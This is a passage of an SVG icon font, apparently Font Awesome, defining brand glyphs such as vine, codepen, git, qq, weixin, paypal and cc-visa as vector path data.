c1.40039 0 3.10059 -0.599609 4.2002 -1.39941zM296.1 295.9c2.2002 -1.40039 3.60059 -3.90039 3.90039 -6.7002l3.2998 -162.8l-3.09961 -58.6006l-0.299805 -6.7002c0 -2.2998 -0.800781 -4.19922 -2.5 -5.59961c-1.40039 -1.40039 -3.40039 -2.5 -5.60059 -2.5
c-2.5 0 -4.7002 1.2002 -6.39941 3.09961c-1.10059 1.40039 -1.7002 3 -1.7002 4.7002v0.299805c-3.10059 65.3008 -3.10059 65.6006 -3.10059 65.6006l2.80078 160.8l0.299805 1.7002c0 2.7998 1.39941 5.2998 3.59961 6.7002
c1.2998 0.799805 2.7998 1.39941 4.40039 1.39941c1.59961 0 3 -0.599609 4.39941 -1.39941zM184.7 273.4c3.39941 0 5.89941 -2.80078 6.09961 -6.10059l5 -140.6l-5 -67.2002c-0.299805 -3.2998 -2.7998 -5.7998 -6.09961 -5.7998c-3 0 -5.5 2.5 -5.7998 5.7998
l-4.40039 67.2002l4.40039 140.6c0 3.2998 2.69922 6.10059 5.7998 6.10059zM561.4 210.6c43.2998 0 78.5996 -35.2998 78.5 -78.8994c0 -43.2998 -35.3008 -78.2998 -78.6006 -78.2998h-218.3c-4.7002 0.599609 -8.59961 4.19922 -8.59961 9.19922v249.7
c0 4.7998 1.69922 7 7.7998 9.2002c15.2998 6.09961 32.5 9.40039 50.2998 9.40039c72.5 0 131.9 -55.6006 138.3 -126.4c9.5 3.90039 19.7998 6.09961 30.6006 6.09961zM264.7 270.9c4.2002 0 7.2002 -3.30078 7.5 -7.80078l3.89941 -136.699l-3.89941 -65.6006
c0 -4.2002 -3.2998 -7.5 -7.5 -7.5s-7.5 3.2998 -7.7998 7.5l-3.30078 65.6006l3.30078 136.699c0.299805 4.5 3.59961 7.80078 7.7998 7.80078zM211.1 278.7c3.60059 0 6.40039 -3.10059 6.7002 -6.7002l4.40039 -145.3l-4.40039 -66.9004
c-0.299805 -3.59961 -3.09961 -6.39941 -6.7002 -6.39941c-3.2998 0 -6.09961 2.7998 -6.39941 6.39941l-3.90039 66.9004l3.90039 145.3c0 3.59961 3.09961 6.7002 6.39941 6.7002zM237.8 275.3c3.90039 0 6.90039 -3 6.90039 -6.89941l4.2002 -141.7l-4.2002 -66.4004
c0 -3.7998 -3.10059 -6.89941 -6.90039 -6.89941s-6.59961 3 -6.89941 6.89941l-3.90039 66.4004l3.90039 141.7c0 3.7998 3 6.89941 6.89941 6.89941z" />
    <glyph glyph-name="vine" unicode="&#xf1ca;" horiz-adv-x="384" 
d="M384 193.3v-52.0996c-18.4004 -4.2002 -36.9004 -6.10059 -52.0996 -6.10059c-36.9004 -77.3994 -103 -143.8 -125.101 -156.199c-14 -7.90039 -27.0996 -8.40039 -42.7002 0.799805c-27.0996 16.2998 -129.899 100.6 -164.1 365.6h74.5
c18.7002 -159.1 64.5 -240.7 114.8 -301.8c27.9004 27.9004 54.7998 65.0996 75.6006 106.9c-49.8008 25.2998 -80.1006 80.8994 -80.1006 145.6c0 65.5996 37.7002 115.1 102.2 115.1c114.9 0 106.2 -127.899 81.5996 -181.5c0 0 -46.3994 -9.19922 -63.5 20.5
c3.40039 11.3008 8.2002 30.8008 8.2002 48.5c0 31.3008 -11.2998 46.6006 -28.3994 46.6006c-18.2002 0 -30.8008 -17.1006 -30.8008 -50c0.100586 -79.2002 59.4004 -118.7 129.9 -101.9z" />
    <glyph glyph-name="codepen" unicode="&#xf1cb;" horiz-adv-x="512" 
d="M502.285 288.296c6.00098 -3.99902 9.71484 -11.1426 9.71582 -18.2852v-155.999c0 -7.14258 -3.71484 -14.2871 -9.71484 -18.2861l-234 -156.021c-8.06055 -4.95996 -16.584 -4.91504 -24.5713 0l-234 156.021c-6.00098 4 -9.71484 11.1436 -9.71484 18.2861v155.999
c0 7.14258 3.71387 14.2861 9.71387 18.2852l234 156c8.06055 4.95996 16.584 4.91504 24.5713 0zM278 384.869v-102.572l95.4287 -63.7148l76.8574 51.4287zM234 384.869l-172.286 -114.858l76.8574 -51.4287l95.4287 63.7148v102.572zM44 228.868v-73.7139
l55.1426 36.8564zM234 -0.84668v102.571l-95.4287 63.7158l-76.8574 -51.4297zM256 140.011l77.7148 52l-77.7148 52l-77.7148 -52zM278 -0.84668l172.286 114.857l-76.8574 51.4297l-95.4287 -63.7158v-102.571zM468 155.154v73.7139l-55.1426 -36.8574z" />
    <glyph glyph-name="jsfiddle" unicode="&#xf1cc;" horiz-adv-x="576" 
d="M510.634 210.538c45.6885 -25.334 68.3721 -74.5605 56.832 -122.634c-12.1035 -50.4199 -55.5479 -86.6592 -108.212 -87.293c-84.0303 -1.01172 -168.079 -0.458984 -252.12 -0.480469c-30.3223 -0.00683594 -60.668 -0.492188 -90.959 0.539062
c-48.0938 1.63672 -91.7764 35.8643 -105.607 81.4326c-14.1289 46.5508 2.18945 94.623 41.9014 124.615c2.54688 1.92383 4.86914 6.52051 4.51465 9.54492c-3.74609 31.8604 7.14453 57.6709 32.6758 76.4082c26.2822 19.2881 55.2285 21.5879 85.3311 9.16699
c2.36621 -0.975586 4.63965 -2.17773 7.82422 -3.68555c16.5215 27.5332 38.1221 48.6523 65.4922 63.9023c92.8594 51.7402 210.954 8.31152 246.85 -91.6455c5.55762 -15.4766 6.74512 -32.6074 9.09668 -49.0947c0.716797 -5.02832 1.6543 -8.15527 6.38086 -10.7764z
M531.741 53.6582c39.3135 48.375 22.418 117.668 -35.1426 144.497c-7.43555 3.46582 -9.72559 7.74414 -9.84766 15.8936c-1.87012 125.129 -132.78 187.063 -230.24 132.697c-26.1133 -14.5674 -46.4492 -34.8955 -60.6709 -61.2939
c-7.59082 -14.0908 -11.9287 -7.97754 -22.1982 -2.52734c-24.6113 13.0635 -49.0469 12.6406 -72.0332 -3.08301c-21.9678 -15.0244 -31.9102 -36.6201 -26.4199 -62.9805c2.4082 -11.5703 -0.914062 -17.0635 -10.0967 -23.1367
c-38.1895 -25.2578 -53.0879 -74.8604 -34.1855 -116.105c18.4355 -40.2295 51.3135 -59.6631 95.1748 -59.9951c0.700195 -0.00488281 163.728 -0.545898 163.728 0.154297c56.8857 0 113.778 -0.551758 170.652 0.229492
c28.9375 0.397461 53.0498 13.2178 71.2803 35.6504zM443.952 134.157c-5.84863 -31.1572 -34.6221 -55.0967 -66.666 -55.0957c-16.9531 0.00195312 -32.0586 6.5459 -44.0791 17.7051c-27.6973 25.7139 -71.1406 74.9805 -95.9375 93.3877
c-20.0557 14.8877 -41.9893 12.333 -60.2715 -3.78223c-49.9961 -44.0713 15.8594 -121.775 67.0625 -77.1885c4.54883 3.95996 7.84082 9.54297 12.7441 12.8447c8.18457 5.50879 20.7666 0.883789 13.168 -10.6221c-17.3574 -26.2842 -49.3301 -38.1973 -78.8623 -29.3008
c-28.8975 8.70312 -48.8408 35.9678 -48.626 70.1787c1.22461 22.4844 12.3633 43.0596 35.4141 55.9648c22.5742 12.6377 46.3682 13.1455 66.9902 -2.47363c50.791 -38.4756 75.5781 -81.7451 107.296 -101.245c24.5586 -15.0996 54.2549 -7.36328 68.8232 17.5059
c28.8301 49.209 -34.5918 105.016 -78.8682 63.46c-3.98828 -3.74414 -6.91699 -8.93164 -11.4092 -11.7197c-10.9756 -6.81152 -17.333 4.1123 -12.8096 10.3525c20.7031 28.5537 50.4639 40.4404 83.2715 28.2139c31.4287 -11.7139 49.1074 -44.3662 42.7598 -78.1855z
" />
    <glyph glyph-name="rebel" unicode="&#xf1d0;" horiz-adv-x="512" 
d="M256.5 -56c-139.3 0 -247.5 116.2 -243.3 254.1c2.7998 79.2002 43.2002 152.2 116.5 200.4c0.299805 0 1.89941 0.599609 1.09961 -0.799805c-5.7998 -5.5 -111.3 -129.8 -14.0996 -226.4c49.7998 -49.5 90 -2.5 90 -2.5c38.5 50.1006 -0.600586 125.9 -0.600586 125.9
c-10 24.8994 -45.6992 40.0996 -45.6992 40.0996l28.7998 31.7998c24.3994 -10.5 43.2002 -38.6992 43.2002 -38.6992c0.799805 29.5996 -21.9004 61.3994 -21.9004 61.3994l44.5996 50.7002l44.3008 -50.0996c-20.5 -28.8008 -21.9004 -62.6006 -21.9004 -62.6006
c13.7998 23 43.5 39.2998 43.5 39.2998l28.5 -31.7998c-27.4004 -8.89941 -45.4004 -39.8994 -45.4004 -39.8994c-15.7998 -28.5 -27.0996 -89.4004 0.600586 -127.301c32.3994 -44.5996 87.7002 2.80078 87.7002 2.80078c102.699 91.8994 -10.5 225 -10.5 225
c-6.10059 5.5 0.799805 2.7998 0.799805 2.7998c50.0996 -36.5 114.6 -84.4004 116.2 -204.8c2 -145.601 -99.9004 -249.4 -242.4 -249.4z" />
    <glyph glyph-name="empire" unicode="&#xf1d1;" horiz-adv-x="496" 
d="M287.6 393.8c-10.7998 2.2002 -22.0996 3.2998 -33.5 3.60059v18.1992c78.1006 -2.19922 146.101 -44 184.601 -106.6l-15.7998 -9.09961c-6.10059 9.69922 -12.7002 18.7998 -20.2002 27.0996l-18 -15.5c-26 29.5996 -61.4004 50.7002 -101.9 58.4004zM53.4004 125.6
c3.89941 -10.7998 8.2998 -21.0996 13.5996 -31.0996l-15.7998 -9.09961c-17.1006 31.5996 -27.1006 68.0996 -27.1006 106.6s9.90039 75 27.1006 106.5l15.7998 -9.09961c-5.2998 -9.7002 -10 -20.2002 -13.5996 -31l22.6992 -7.7002
c-6.39941 -18.2998 -9.69922 -38.2002 -9.69922 -58.7002s3.59961 -40.4004 10 -58.7002zM213.1 14l-4.69922 -23.7998c10.7998 -1.90039 22.1992 -3.2998 33.5 -3.60059v-18.2998c-78.1006 2.2998 -146.4 44.2998 -184.9 106.601l16 9.39941
c5.7998 -9.7002 12.7002 -18.7998 20.2002 -27.3994l18 15.7998c26.0996 -29.6006 61.5 -50.7002 101.899 -58.7002zM93.2998 327.1c-7.5 -8.2998 -14.0996 -17.5 -20.0996 -27.1992l-15.7998 9.09961c38.5 62.5996 106.5 104.4 184.6 106.6v-18.1992
c-11.4004 -0.300781 -22.7002 -1.40039 -33.5 -3.60059l4.7002 -23.7998c-40.5 -7.7002 -75.9004 -28.7998 -101.9 -58.4004zM402.7 56.9004c7.5 8.59961 14.3994 17.6992 20.0996 27.3994l16.1006 -9.39941c-38.5 -62.3008 -106.801 -104.4 -184.9 -106.601v18.2998
c11.4004 0.300781 22.7002 1.7002 33.5 3.60059l-4.7002 23.7998c40.5 8 75.9004 29.0996 101.9 58.7002zM496 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM483.8 192c0 130.1 -105.7 235.8 -235.8 235.8
s-235.8 -105.7 -235.8 -235.8s105.7 -235.8 235.8 -235.8s235.8 105.7 235.8 235.8zM444.8 298.6c17.2002 -31.5996 27.1006 -68.0996 27.1006 -106.6s-9.90039 -75 -27.1006 -106.4l-15.7998 9.10059c5.2998 10 9.7002 20.2002 13.5996 31l-23 7.7002
c6.40039 18.2998 10 38.1992 10 58.6992s-3.2998 40.4004 -9.69922 58.7002l22.6992 7.7002c-3.59961 10.7998 -8.2998 21.2998 -13.5996 31zM261.8 120.9l13.2998 -66.7002c-8.59961 -1.7002 -17.6992 -2.7998 -27.0996 -2.7998s-18.5 1.09961 -27.0996 2.7998
l13.2998 66.7002c-16.2998 3.2998 -30.5 11.5996 -40.7002 23.5l-51.2002 -44.8008c-11.8994 13.6006 -21.2998 29.4004 -27.0996 46.8008l64.2002 22.0996c-2.5 7.40039 -3.90039 15.2002 -3.90039 23.5s1.40039 16 3.90039 23.5l-64.5 22.0996
c6.09961 17.5 15.5 33.2002 27.3994 46.8008l51.2002 -44.8008c10.2998 11.9004 24.4004 20.5 40.7002 23.8008l-13.2998 66.3994c8.59961 2 17.6992 2.7998 27.0996 2.7998s18.5 -0.899414 27.0996 -2.7998l-13.2998 -66.3994
c16.2998 -3.30078 30.5 -11.9004 40.7002 -23.8008l51.2002 44.8008c11.8994 -13.6006 21.2998 -29.4004 27.3994 -46.8008l-64.5 -22.0996c2.5 -7.40039 3.90039 -15.2002 3.90039 -23.5s-1.40039 -16 -3.90039 -23.5l64.2002 -22.0996
c-5.7998 -17.5 -15.2002 -33.2002 -27.0996 -46.8008l-51.2002 44.8008c-10.2998 -11.9004 -24.4004 -20.2002 -40.7002 -23.5z" />
    <glyph glyph-name="git-square" unicode="&#xf1d2;" 
d="M100.59 113.76c48.5703 -3.30957 58.9502 -2.10938 58.9502 -11.9395c0 -20 -65.5498 -20.0605 -65.5498 -1.52051c0.00976562 5.08984 3.29004 9.40039 6.59961 13.46zM128.54 230.4c30.96 0 31.7598 -44.4707 -0.75 -44.4707c-33 0 -31.54 44.4707 0.75 44.4707z
M448 368v-352c0 -26.4961 -21.5039 -48 -48 -48h-352c-26.4961 0 -48 21.5039 -48 48v352c0 26.4961 21.5039 48 48 48h352c26.4961 0 48 -21.5039 48 -48zM221 298.69c0 -14.4902 8.37988 -22.8809 22.8604 -22.8809c14.7393 0 23.1299 8.39062 23.1299 22.8809
c0 14.4893 -8.37012 22.3096 -23.1104 22.3096c-14.4795 0 -22.8799 -7.83984 -22.8799 -22.3096zM199.18 253h-49.5498c-25 6.5498 -81.5596 4.84961 -81.5596 -46.75c0 -18.7998 9.39941 -32 21.8496 -38.1104c-15.6895 -14.3701 -23.1201 -21.1396 -23.1201 -30.7393
c0 -6.87012 2.79004 -13.2207 11.1807 -16.7607c-8.90039 -8.39941 -14 -14.4795 -14 -25.9199c0.0195312 -20.0693 17.5498 -31.7197 63.5391 -31.7197c44.2207 0 69.8701 16.5098 69.8701 45.7305c0 36.6699 -28.2295 35.3193 -94.7695 39.3799l8.37988 13.4297
c17 -4.74023 74.1904 -6.23047 74.1904 42.4297c0 11.6904 -4.83008 19.8203 -9.40039 25.6699l23.3799 1.78027zM283.52 143.16l-13 1.78027c-3.81934 0.509766 -4.06934 1 -4.06934 5.08984v105.45h-52.6006l-2.79004 -20.5703c15.75 -5.5498 17 -4.86035 17 -10.1699
v-74.7402c0 -5.62012 -0.30957 -4.58008 -17 -6.87012v-20.0596h72.4209zM384 133l-6.87012 22.3701c-40.9297 -15.3701 -37.8496 12.4102 -37.8496 16.7295v60.7207h37.8496v25.4102h-35.8203c-2.86914 0 -2 -2.52051 -2 38.6299h-24.1797
c-2.79004 -27.7002 -11.6797 -38.8799 -34 -41.4199v-22.6201c20.4697 0 19.8203 0.849609 19.8203 -2.54004v-66.5703c0 -28.7197 11.4297 -40.9102 41.6699 -40.9102c14.4502 0 30.4502 4.83008 41.3799 10.2002z" />
    <glyph glyph-name="git" unicode="&#xf1d3;" horiz-adv-x="512" 
d="M216.29 289.61l0.0400391 -34.5508l-37.4102 -2.83984c7.27051 -9.35938 15 -22.3701 15 -41.0693c0 -77.8906 -91.4297 -75.4707 -118.7 -67.8906l-13.4297 -21.5498c106.47 -6.5 151.63 -4.33984 151.63 -63c0 -46.7598 -41.04 -73.1797 -111.79 -73.1797
c-73.5801 0 -101.63 18.71 -101.63 50.8193c0 18.3008 8.12988 28.04 22.4004 41.4502c-13.4199 5.66992 -17.8906 15.8105 -17.8906 26.8105c0 15.3594 11.9004 26.21 37 49.21c-20 9.76953 -35 30.9102 -35 61c0 82.5498 90.4902 85.2793 130.49 74.79h79.29z
M152.87 47.71c0 15.7402 -16.6104 13.8096 -94.3203 19.1104c-5.2998 -6.54004 -10.5693 -13.4004 -10.5693 -21.54c0 -29.6699 104.89 -29.6299 104.89 2.42969zM102.06 182.29c52.0205 0 50.7402 71.1602 1.2002 71.1602c-51.6602 0 -54 -71.1602 -1.2002 -71.1602z
M235.36 81.7803v32.0996c26.75 3.66016 27.2393 2 27.2393 11v119.51c0 8.5 -2.0498 7.37988 -27.2393 16.2607l4.46973 32.9199h84.1699v-168.71c0 -6.51074 0.400391 -7.32031 6.50977 -8.14062l20.7305 -2.83984v-32.0996h-115.88zM287.81 326.09
c-23.1699 0 -36.5898 13.4297 -36.5898 36.6104c0 23.1797 13.4199 35.7695 36.5898 35.7695c23.5801 0 37 -12.6201 37 -35.7695c0 -23.1504 -13.4199 -36.6104 -37 -36.6104zM512 97.54c-17.4902 -8.53027 -43.0996 -16.2598 -66.2803 -16.2598
c-48.3799 0 -66.6699 19.5 -66.6699 65.46v106.51c0 5.41992 1.0498 4.05957 -31.71 4.05957v36.1904c35.7803 4.07031 50 22 54.4697 66.2695h38.6309c0 -65.8291 -1.34082 -61.8096 3.25977 -61.8096h57.2998v-40.6504h-60.5596v-97.1494
c0 -6.91992 -4.9209 -51.4102 60.5693 -26.8398z" />
    <glyph glyph-name="hacker-news" unicode="&#xf1d4;" 
d="M0 416h448v-448h-448v448zM21.2002 218.8h-0.200195c0.0996094 0.100586 0.200195 0.299805 0.299805 0.400391c0 -0.100586 0 -0.299805 -0.0996094 -0.400391zM239.2 164.9l80.7998 155.1h-34.7998c-54.7998 -101.2 -48.2998 -98.5996 -60.6006 -125.6
c-10.0996 24.3994 -6.7998 27.2998 -59.2998 125.6h-37.2998l79.7998 -153.3v-102.7h31.4004v100.9z" />
    <glyph glyph-name="tencent-weibo" unicode="&#xf1d5;" horiz-adv-x="384" 
d="M72.2998 -47.7998c1.40039 -19.9004 -27.5996 -22.2002 -29.7002 -2.90039c-11.5996 129.9 31.1006 239.5 101.4 313.2c-15.5996 34 9.2002 77.0996 50.5996 77.0996c30.3008 0 55.1006 -24.5996 55.1006 -55.0996c0 -44 -49.5 -70.7998 -86.9004 -45.0996
c-65.7002 -71.3008 -101.399 -169.801 -90.5 -287.2zM192 447.9c92 0 166.6 -74.6006 166.6 -166.5c0 -102.301 -93.2998 -185.5 -204 -162.301c-19 4.7002 -12.5 33.2002 6.60059 29.1006c80.7998 -20.7998 167.7 42.2998 167.7 133.1c0 75.5 -61.5 136.9 -136.9 136.9
c-101 0 -168.3 -106.601 -122 -199.2c9 -17.9004 -17.5996 -30.7998 -26.2998 -13.4004c-56 108.101 22.3994 242.301 148.3 242.301z" />
    <glyph glyph-name="qq" unicode="&#xf1d6;" 
d="M433.754 27.5547c-11.5264 -1.39258 -44.8604 52.7412 -44.8604 52.7412c0 -31.3447 -16.1357 -72.2471 -51.0508 -101.786c16.8418 -5.19141 54.8428 -19.167 45.8037 -34.4209c-7.31641 -12.3428 -125.511 -7.88086 -159.633 -4.03711
c-34.1221 -3.84375 -152.315 -8.30566 -159.632 4.03711c-9.04492 15.25 28.918 29.2139 45.7832 34.415c-34.9199 29.5391 -51.0586 70.4453 -51.0586 101.792c0 0 -33.334 -54.1338 -44.8594 -52.7412c-5.37012 0.650391 -12.4238 29.6445 9.34668 99.7041
c10.2617 33.0244 21.9951 60.4785 40.1445 105.779c-3.05566 116.898 45.2441 214.956 160.262 214.962c113.737 -0.00585938 163.156 -96.1328 160.264 -214.963c18.1182 -45.2227 29.9121 -72.8506 40.1445 -105.778c21.7676 -70.0596 14.7158 -99.0527 9.3457 -99.7041z
" />
    <glyph glyph-name="weixin" unicode="&#xf1d7;" horiz-adv-x="576" 
d="M385.2 280.4c-92.4004 0 -165.4 -69.1006 -165.3 -154c0 -14.2002 2.19922 -27.9004 6.19922 -40.8008c-6.19922 -0.5 -12.0996 -0.799805 -18.2998 -0.799805c-24.3994 0 -43.7998 4.90039 -68.2002 9.7002l-68 -34.0996l19.3008 58.5996
c-48.6006 34.0996 -77.9004 78.2002 -77.9004 131.6c0 92.6006 87.5 165.4 194.7 165.4c95.5996 0 179.7 -58.2998 196.3 -136.7c-6.2002 0.799805 -12.4004 1.10059 -18.7998 1.10059zM280.7 333.3c-14.7002 0 -29.2002 -9.7002 -29.2998 -24.3994
c0 -14.5 14.5 -24.2002 29.2998 -24.2002c14.5 0 24.2002 9.7002 24.2002 24.2002c0 14.6992 -9.7002 24.3994 -24.2002 24.3994zM144.3 284.7c14.7998 0 24.4004 9.59961 24.4004 24.2002c0 14.6992 -9.60059 24.3994 -24.4004 24.3994
c-14.5 0 -29.2998 -9.59961 -29.2998 -24.3994c0 -14.5 14.7998 -24.2002 29.2998 -24.2002zM563 128.6c0 -43.7998 -29 -82.6992 -68.2002 -112.1l14.7998 -48.5996l-53.3994 29.2998c-19.7002 -4.7998 -39.2998 -9.90039 -58.6006 -9.90039
c-92.5996 0 -165.399 63.4004 -165.399 141.3c0 77.9004 72.7002 141.301 165.399 141.301c87.5 0 165.4 -63.4004 165.4 -141.301zM343.9 153.1c14.6992 0 24.3994 9.60059 24.3994 19.6006c0 9.59961 -9.59961 19.2998 -24.3994 19.2998
c-9.60059 0 -19.3008 -9.59961 -19.3008 -19.2998c0 -9.90039 9.60059 -19.6006 19.3008 -19.6006zM451 153.1c14.5 0 24.5 9.60059 24.4004 19.6006c0 9.59961 -9.90039 19.2998 -24.4004 19.2998c-9.59961 0 -19.2998 -9.59961 -19.2998 -19.2998
c0 -9.90039 9.59961 -19.6006 19.2998 -19.6006z" />
    <glyph glyph-name="slideshare" unicode="&#xf1e7;" horiz-adv-x="512" 
d="M187.7 294.3c34 0 61.7002 -25.7002 61.7002 -57.7002c0 -31.6992 -27.7002 -57.6992 -61.7002 -57.6992s-61.7002 26 -61.7002 57.6992c0 32 27.7002 57.7002 61.7002 57.7002zM331.1 294.3c34.3008 0 61.8008 -25.7002 61.7002 -57.7002
c0 -31.6992 -27.3994 -57.6992 -61.7002 -57.6992c-34 0 -61.6992 26 -61.6992 57.6992c0 32 27.6992 57.7002 61.6992 57.7002zM487.7 204.3c15.2002 10.5 25.2002 -4 16.0996 -17.7998c-18.2998 -22.5996 -53.2002 -50.2998 -106.3 -72
c56.2998 -191.7 -137.4 -222.3 -134.3 -124c0 0.700195 -0.299805 53.7998 -0.299805 93.5c-4.30078 0.799805 -8.60059 2 -13.7002 3.09961c0 -40 -0.299805 -95.8994 -0.299805 -96.5996c3.09961 -98.2002 -190.601 -67.5996 -134.301 124.1
c-53.1992 21.7002 -88 49.4004 -106.3 72c-9.09961 13.7002 0.900391 28.3008 16 17.7002c2 -1.39941 4.2998 -2.89941 6.2998 -4.2998v198.3c0 27.4004 20.6006 49.7002 46 49.7002h359.101c25.3994 0 46 -22.2998 46 -49.7002v-198.3zM457.2 185.1h0.0996094v190.601
c0 32.7998 -10.5996 45.7002 -40.8994 45.7002h-317.7c-31.7002 0 -40.6006 -10.8008 -40.6006 -45.7002v-192.4c67.7002 -35.3994 125.7 -29.0996 157.4 -28c13.4004 0.299805 22 -2.2998 27.0996 -7.7002c1.7002 -1.59961 10 -9.39941 20.3008 -17.0996
c1.09961 15.7998 10 25.7998 33.6992 24.9004c32.3008 -1.40039 91.7002 -7.7002 160.601 29.6992z" />
    <glyph glyph-name="twitch" unicode="&#xf1e8;" 
d="M40.0996 416h397.9v-274.2l-117 -117h-87l-56.7998 -56.7998h-60.2002v56.7998h-107v314.3zM397.9 161.9v214h-321v-280.9h90.2998v-56.7998l56.7998 56.7998h107zM331 299v-116.9h-40.0996v116.9h40.0996zM224 299v-116.9h-40.0996v116.9h40.0996z" />
    <glyph glyph-name="yelp" unicode="&#xf1e9;" horiz-adv-x="384" 
d="M42.9004 207.68l99.6191 -48.6094c19.2002 -9.40039 16.2002 -37.5107 -4.5 -42.71l-107.52 -26.8105c-1.51074 -0.379883 -4 -0.6875 -5.55762 -0.6875c-11.2676 0 -21.415 9.08887 -22.6523 20.2881c-0.708984 6.18164 -1.28516 16.25 -1.28516 22.4727
c0 17.8105 4.60742 45.9658 10.2852 62.8467c2.88574 8.56836 12.5664 15.5215 21.6074 15.5215c2.9082 0 7.38867 -1.03516 10.0029 -2.31152zM86.9004 -31.5703c-5.48535 3.75195 -9.92773 12.1904 -9.92773 18.8359c0 4.8291 2.61914 11.6631 5.84766 15.2539
l74.21 82.4004c14.3096 15.8105 40.5098 5.2002 39.8096 -16.0996l-3.89941 -110.82c-0.412109 -12.1484 -10.6123 -22.0078 -22.7676 -22.0078c-1.07129 0 -2.79688 0.146484 -3.85254 0.328125c-23.8691 4.04199 -59.4492 18.4277 -79.4199 32.1094zM232.24 78.3496
c-11.2998 18.1104 6.2002 40.4102 26.5098 33.9102l105.42 -34.2598c8.69043 -2.88965 15.7422 -12.667 15.7422 -21.8252c0 -2.8125 -0.963867 -7.16504 -2.15234 -9.71484c-10.418 -21.8799 -34.0322 -52.1689 -52.71 -67.6104
c-3.50586 -2.88867 -10.0391 -5.2334 -14.582 -5.2334c-6.99707 0 -15.6963 4.80859 -19.418 10.7334zM380.57 210.58c1.04688 -2.41602 1.93652 -6.5127 1.93652 -9.14551c0 -9.49805 -7.39551 -19.3828 -16.5068 -22.0645l-106.64 -30.5098
c-20.5 -5.90039 -37.1006 17.0098 -25.2002 34.71l62 91.9199c3.75 5.55664 12.2354 10.0654 18.9385 10.0654c4.74512 0 11.4932 -2.53809 15.0615 -5.66602c18.166 -16.0361 40.75 -47.0869 50.4102 -69.3096zM62.1104 417.82
c29.4697 14.0293 79.793 27.5137 112.33 30.0996c0.503906 0.0410156 1.32422 0.0742188 1.83008 0.0742188c12.5146 0 22.6709 -10.1562 22.6709 -22.6699c0 -0.0566406 -0.000976562 -0.147461 -0.000976562 -0.204102v-208.34
c0 -23.2998 -30.9102 -31.6006 -42.6104 -11.4004l-104.12 180.44c-1.68164 2.92188 -3.0459 8.0293 -3.0459 11.4014c0 7.93066 5.7998 17.1592 12.9463 20.5986z" />
    <glyph glyph-name="paypal" unicode="&#xf1ed;" horiz-adv-x="384" 
d="M111.4 152.1c-3.5 -19.1992 -17.4004 -108.699 -21.5 -134c-0.300781 -1.7998 -1 -2.5 -3 -2.5h-74.6006c-7.59961 0 -13.0996 6.60059 -12.0996 13.9004l58.5996 371.9c1.5 9.59961 10.1006 16.8994 20 16.8994c152.3 0 165.101 3.7002 204 -11.3994
c60.1006 -23.3008 65.6006 -79.5 44 -140.301c-21.5 -62.5996 -72.5 -89.5 -140.1 -90.2998c-43.4004 -0.700195 -69.5 7 -75.2998 -24.2002zM357.1 296c28.4004 -21.2002 30.3008 -57.7998 23.8008 -92.5996c-16.5 -83.5 -71.9004 -112.301 -142.9 -112.301
c-15 0 -24.7002 2.30078 -29.2998 -19.6992c-15.5 -97.4004 -13.7002 -85.9004 -14.4004 -91.3008c-1.7002 -8.59961 -8.7998 -14.8994 -17.3994 -14.8994h-63.5c-7.10059 0 -11.6006 5.7998 -10.6006 12.8994c0 0 4.5 29.3008 27.1006 169.7
c0.799805 6.10059 4.7998 9.40039 10.8994 9.40039c54 0 164.601 -9.90039 204.5 103.899c3.7002 11.1006 6.7998 22.2002 8.7998 33.6006c0.5 3.09961 1.2002 2.59961 3 1.2998z" />
    <glyph glyph-name="google-wallet" unicode="&#xf1ee;" 
d="M156.8 321.2c37.6006 -60.6006 64.2002 -113.101 84.2998 -162.5c-8.2998 -33.7998 -18.7998 -66.5 -31.2998 -98.2998c-13.2002 52.2998 -26.5 101.3 -56 148.5c6.5 36.3994 2.2998 73.5996 3 112.3zM109.3 248c5 0 10 -2.5 13 -6.5
c43.7998 -59.7998 66.2998 -123.8 82.5 -193.5h-103.5c-20 69.5 -49.5 133 -91.7002 187.3c-4 5.2002 0 12.7002 6.5 12.7002h93.2002zM157.1 336h108.7c74.7998 -103 131.2 -230 143.2 -368h-113.7c-8.2002 133.5 -69.7002 260 -138.2 368zM408.9 404.5
c19 -67.5 31.0996 -139 31.0996 -212.6c0 -69.5 -9.5 -142.5 -25.2998 -203c-10.9004 92.5 -42.4004 184.6 -90.6006 270.8c-4.19922 50.5 -13.2998 99.5 -26.5 146c-1.19922 5.2998 2.5 10.2998 7.80078 10.2998h88.2998c7 0 13.3994 -4.7002 15.2002 -11.5z" />
    <glyph glyph-name="cc-visa" unicode="&#xf1f0;" horiz-adv-x="576" 
d="M470.1 216.7c0 0 7.60059 -37.2002 9.30078 -45h-33.4004c3.2998 8.89941 16 43.5 16 43.5c-0.200195 -0.299805 3.2998 9.09961 5.2998 14.8994zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480
c26.5 0 48 -21.5 48 -48zM152.5 116.8l63.2002 155.2h-42.5l-39.2998 -106l-4.30078 21.5l-14 71.4004c-2.2998 9.89941 -9.39941 12.6992 -18.1992 13.0996h-64.7002l-0.700195 -3.09961c15.7998 -4 29.9004 -9.80078 42.2002 -17.1006l35.7998 -135h42.5zM246.9 116.6
l25.1992 155.4h-40.1992l-25.1006 -155.4h40.1006zM386.8 167.4c0.200195 17.6992 -10.5996 31.1992 -33.7002 42.2998c-14.0996 7.09961 -22.6992 11.8994 -22.6992 19.2002c0.199219 6.59961 7.2998 13.3994 23.0996 13.3994
c13.0996 0.299805 22.7002 -2.7998 29.9004 -5.89941l3.59961 -1.7002l5.5 33.5996c-7.90039 3.10059 -20.5 6.60059 -36 6.60059c-39.7002 0 -67.5996 -21.2002 -67.7998 -51.4004c-0.299805 -22.2998 20 -34.7002 35.2002 -42.2002
c15.5 -7.59961 20.7998 -12.5996 20.7998 -19.2998c-0.200195 -10.4004 -12.6006 -15.2002 -24.1006 -15.2002c-16 0 -24.5996 2.5 -37.6992 8.2998l-5.30078 2.5l-5.59961 -34.8994c9.40039 -4.2998 26.7998 -8.10059 44.7998 -8.2998
c42.2002 -0.100586 69.7002 20.7998 70 53zM528 116.6l-32.4004 155.4h-31.0996c-9.59961 0 -16.9004 -2.7998 -21 -12.9004l-59.7002 -142.5h42.2002s6.90039 19.2002 8.40039 23.3008h51.5996c1.2002 -5.5 4.7998 -23.3008 4.7998 -23.3008h37.2002z" />
    <glyph glyph-name="cc-mastercard" unicode="&#xf1f1;" horiz-adv-x="576" 
